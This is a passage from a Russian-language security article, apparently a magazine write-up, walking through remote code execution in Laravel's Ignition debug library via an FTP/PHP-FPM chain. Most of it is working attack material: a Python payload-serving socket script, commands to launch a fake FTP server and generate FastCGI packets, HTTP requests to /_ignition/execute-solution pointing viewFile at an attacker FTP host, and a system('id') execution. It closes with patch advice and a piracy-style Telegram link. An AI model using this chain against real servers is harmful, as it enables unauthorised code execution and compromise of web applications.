self._send(f'227 go to ({HOST_FPM},{LOCAL_PORT // 256},{LOCAL_PORT % 256})'.encode())

Об­рати вни­мание, в каком виде переда­ются хост и порт для управле­ния кон­некта­ми кли­ента. Номер пор­та выс­читыва­ется по фор­муле {(first value * [2^8]) + second value}, поэто­му в коде нам нуж­но про­делать обратную опе­рацию.

При пер­вом кон­некте кли­ента к пор­ту 65123 нуж­но отдать файл с полез­ной наг­рузкой. Сде­лаю это при помощи прос­того Python-скрип­та, который исполь­зует биб­лиоте­ку сокетов.

serve_file_pasv.py

import socket

import sys

LOCAL_PORT_1 = 65123

HOST_VALID = '192.168.99.1'

FILE = 'exploit.bin'

fi=open(FILE,'rb')

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:

s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

s.bind((HOST_VALID, LOCAL_PORT_1))

print('Serve {} at {}:{}'.format(FILE, HOST_VALID, LOCAL_PORT_1))

sys.stdout.flush()

s.listen()

conn, addr = s.accept()

with conn:

print('Connected by', addr)

data = fi.read(1024)

while data:

conn.send(data)

data=fi.read(1024)

fi.close()

print('Serve finished.')

Вот и вся цепоч­ка. Запус­каем в нуж­ной пос­ледова­тель­нос­ти, сна­чала генери­руем файл‑пакет с полез­ной наг­рузкой.

python3 fcgi_packet_generator.py -p 9000 127.0.0.1 /tmp/any.php

За­тем скрипт, который будет отда­вать его кли­енту.

python3 serve_file_pasv.py

Те­перь сам FTP-сер­вер, который будет управлять соеди­нени­ями и нап­равлять их в нуж­ное рус­ло.

python3 fake_ftp.py

1f25bc5a9affaa74531e6e7e6a41e357.jpg

Да­лее отправ­ляем зап­рос на под­клю­чение к это­му FTP.

POST /_ignition/execute-solution HTTP/1.1

Host: laravelrce.vh:8080

Accept: application/json

Content-Type: application/json

{

"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",

"parameters":{

"variableName":"name",

"viewFile":"ftp://192.168.99.1/test.txt"

}

}

Сер­вер вер­нул ответ с кодом 200 — зна­чит, вся цепоч­ка отра­бота­ла как надо.

21e1654dc20105d5f9635544c8c834aa.jpg

А теперь мож­но выпол­нять код на PHP, прос­то отправ­ляя его в теле зап­роса.

POST /_ignition/execute-solution HTTP/1.1

Host: laravelrce.vh:8080

Accept: application/json

Content-Type: application/json

<?php

system('id');

979b8544766e295e03750804d6585254.jpg

Пол­ный исходный код всех час­тей экс­пло­ита ты можешь най­ти в мо­ем репози­тории на GitHub.

Ко­неч­но, с помощью такой ата­ки через FTP мож­но про­экс­плу­ати­ровать не толь­ко PHP-FPM, но и любые сер­висы, дос­туп к которым есть с уяз­вимой машины. Нап­ример, на перимет­ре час­тень­ко попада­ются memcache и Redis. Так что тема экс­плу­ата­ции через FTP очень инте­рес­ная и акту­аль­ная. Я нас­тоятель­но рекомен­дую изу­чить пре­зен­тацию по этой теме моего кол­леги Ан­тона Bo0oM Лопани­цина.

ЗАКЛЮЧЕНИЕ

В этом обзо­ре я рас­смот­рел два инте­рес­ных вари­анта экс­плу­ата­ции одной уяз­вимос­ти, которые были боль­ше похожи на таск из какого‑нибудь CTF. Сис­тема пос­тро­ения при­ложе­ний из набора биб­лиотек может пос­тавить под угро­зу безопас­ность даже таких круп­ных про­ектов, как Laravel. К счастью, эта же осо­бен­ность поз­воля­ет раз­работ­чикам быс­тро обновлять или вов­се уда­лять ненадеж­ные биб­лиоте­ки, в которых находят­ся опас­ные баги.

Раз­работ­чики опе­ратив­но испра­вили эту уяз­вимость в Ignition вер­сии 2.5.2, так что сме­ло обновляй­ся, Composer тебе в помощь.

/var/www/composer.json

...

"require-dev": {

"facade/ignition": "^2.5",

...

composer update

Во всех новых инстал­ляци­ях по умол­чанию уже исполь­зует­ся более новая вер­сия биб­лиоте­ки.

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei